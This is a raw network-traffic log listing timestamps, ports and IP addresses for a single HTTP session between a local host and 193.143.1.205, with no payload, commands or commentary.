Jan 11, 2025 03:02:40.875075102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.875082016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.875109911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.875241041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.875355005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.875394106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.917185068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.917196989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.917248011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954056025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954072952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954087019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954109907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954119921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954149961 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954202890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954236031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954247952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954272985 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954426050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954463005 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954571962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954583883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954622984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954754114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954808950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954853058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.954904079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954920053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.954961061 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.955092907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955368996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955387115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955398083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955404043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.955435038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.955816984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955837965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955852032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955868959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.955873966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.955910921 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.956326008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956338882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956355095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956376076 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.956612110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956624985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956640005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956650019 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.956655025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.956675053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.957122087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957160950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.957204103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957216978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957257032 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.957428932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957442045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957463026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957477093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.957479000 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.957571030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.958035946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.958129883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.958142996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.958168030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.958358049 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.958372116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.958395004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:40.963473082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:40.963517904 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.000808954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.000827074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.000842094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.000876904 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.000885963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.000921965 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.001261950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.001283884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.001327038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.004297972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.004331112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.004343033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.004368067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.042515993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.042556047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.042562962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.042567015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.042609930 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.042623043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.042738914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.042788029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.079585075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.079622984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.079638004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.079672098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.079782009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.079794884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.079823971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.079982996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.079993963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080018044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080028057 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.080061913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.080272913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080286980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080301046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080324888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.080617905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080631018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080643892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080882072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.080960989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080974102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.080986977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081039906 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.081377983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081389904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081402063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081415892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081429005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081434011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.081442118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081464052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.081478119 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.081504107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.082109928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082124949 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082137108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082149982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082156897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082163095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082171917 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.082185030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082206011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.082901001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082916021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082927942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082942009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082948923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.082956076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.082989931 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.083013058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.083595991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083609104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083620071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083633900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083647013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083647966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.083659887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083673000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.083678007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.083731890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.084393024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084408998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084419966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084434986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084436893 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.084451914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084475040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.084508896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.084958076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084971905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.084985971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085000038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085014105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085016012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.085026979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085040092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.085042953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085091114 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.085835934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085850954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085863113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085876942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085891008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085897923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.085905075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085920095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.085947990 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.085969925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.087207079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.089428902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089448929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089462996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089490891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.089529991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089550972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089562893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089576960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089581013 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.089602947 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.089874983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.089915991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.089972973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.092783928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.092812061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.092824936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.092833042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.092869997 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.093025923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.093039989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.093081951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.095618010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.095648050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.131232977 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131274939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131305933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131319046 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.131406069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131433010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131448030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.131495953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131536961 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.131540060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131566048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.131604910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.168195009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168214083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168227911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168271065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.168384075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168395042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168407917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168421984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.168445110 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.168589115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168625116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168637991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168663979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.168975115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.168992043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169003963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169013023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.169014931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169028044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169039965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169049025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.169086933 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.169514894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169527054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.169560909 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.223584890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223628044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223640919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223695040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.223769903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223792076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223826885 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.223933935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223948002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.223982096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.224113941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224165916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.224210978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224224091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224236012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224248886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224272966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.224298000 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.224571943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224584103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224596024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224611044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224622965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224656105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.224931002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224944115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224956989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224972963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.224984884 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.225028992 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.225435019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225446939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225461006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225474119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225486994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225500107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225503922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.225518942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225531101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225545883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.225553036 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.225619078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.225619078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.226268053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226279974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226291895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226304054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226319075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226351023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.226377964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.226775885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226788044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226799011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226809978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226821899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226835012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.226838112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.226907969 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.227390051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227401972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227412939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227423906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227437019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227448940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227451086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.227462053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227474928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227475882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.227487087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227500916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.227515936 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.227541924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.228389978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228404999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228419065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228434086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228446960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228450060 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.228460073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228473902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.228475094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228491068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228503942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228514910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.228519917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.228535891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.228559971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.229429007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229444981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229456902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229470968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229484081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229497910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229501963 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.229513884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 03:02:41.229528904 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:02:41.229573011 CET	49700	80	192.168.2.7	193.143.1.205
